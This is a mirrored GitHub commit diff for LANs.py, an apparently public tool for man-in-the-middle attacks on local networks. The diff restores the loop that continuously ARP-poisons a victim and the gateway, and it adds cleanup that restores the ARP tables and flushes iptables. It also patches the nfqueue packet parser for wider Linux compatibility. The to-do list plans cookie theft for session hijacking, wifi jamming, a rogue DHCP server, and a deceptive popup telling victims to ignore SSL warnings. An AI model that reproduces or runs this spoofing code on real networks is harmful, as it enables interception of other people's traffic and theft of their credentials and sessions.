mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 13:02:20 -07:00
Fixed LANs.py Exit
Fixed LANs.py exit code (allowing clean exit) Changed start function to allow compatability with older nfqueue implementations (now functions on Ubuntu and non-Ubuntu distros) Added main LANs.py loop back in (somehow got deleted earlier...) Fixed signal import
This commit is contained in:
parent
a7719e1211
commit
5765f15815
1 changed files with 41 additions and 10 deletions
45
LANs.py
45
LANs.py
|
@ -13,11 +13,12 @@ Prerequisites: Linux
|
||||||
Note: This script flushes iptables before and after usage.
|
Note: This script flushes iptables before and after usage.
|
||||||
|
|
||||||
To do: 1. Rogue DHCP server
|
To do: 1. Rogue DHCP server
|
||||||
2. Refactor with lots of smaller functions
|
Refactor with lots of smaller functions
|
||||||
3. Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
|
Mass wifi jammer
|
||||||
4. Add karma MITM technique
|
Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
|
||||||
5. Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
|
Add karma MITM technique
|
||||||
6. Integrate with wifite
|
Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
|
||||||
|
Integrate with wifite
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
@ -72,6 +73,7 @@ import requests
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
from signal import SIGINT, signal
|
from signal import SIGINT, signal
|
||||||
|
import signal
|
||||||
import socket
|
import socket
|
||||||
import fcntl
|
import fcntl
|
||||||
|
|
||||||
|
@ -159,7 +161,6 @@ DN = open(os.devnull, 'w')
|
||||||
|
|
||||||
interface = ''
|
interface = ''
|
||||||
|
|
||||||
|
|
||||||
def LANsMain(args):
|
def LANsMain(args):
|
||||||
global victimIP, interface
|
global victimIP, interface
|
||||||
#Find the gateway and interface
|
#Find the gateway and interface
|
||||||
|
@ -292,6 +293,24 @@ def LANsMain(args):
|
||||||
|
|
||||||
print ''
|
print ''
|
||||||
|
|
||||||
|
def signal_handler(signal, frame):
|
||||||
|
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
|
||||||
|
logger.close()
|
||||||
|
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
|
||||||
|
forward.write(ipf)
|
||||||
|
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
|
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
|
os.system('/sbin/iptables -F')
|
||||||
|
os.system('/sbin/iptables -X')
|
||||||
|
os.system('/sbin/iptables -t nat -F')
|
||||||
|
os.system('/sbin/iptables -t nat -X')
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
|
while 1:
|
||||||
|
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
|
time.sleep(1.5)
|
||||||
|
|
||||||
class Spoof():
|
class Spoof():
|
||||||
def originalMAC(self, ip):
|
def originalMAC(self, ip):
|
||||||
|
@ -337,7 +356,19 @@ class Parser():
|
||||||
def __init__(self, args):
|
def __init__(self, args):
|
||||||
self.args = args
|
self.args = args
|
||||||
|
|
||||||
def start(self, payload):
|
#def start(self, i, payload): ###This was original Ubuntu compatible code.
|
||||||
|
#def start(self, payload): ###This was original non-Ubuntu code.
|
||||||
|
'''
|
||||||
|
Both were replaced by accepting arguments as an array and then iterating through said array looking for the payload and self.
|
||||||
|
It is now compatible with both Ubuntu and non-Ubuntu linux distros.
|
||||||
|
'''
|
||||||
|
def start(*args):
|
||||||
|
for i in args:
|
||||||
|
if isinstance(i, nfqueue.payload):
|
||||||
|
payload = i
|
||||||
|
else:
|
||||||
|
if not isinstance(i, int):
|
||||||
|
self = i
|
||||||
if self.args.pcap:
|
if self.args.pcap:
|
||||||
if self.args.ipaddress:
|
if self.args.ipaddress:
|
||||||
try:
|
try:
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue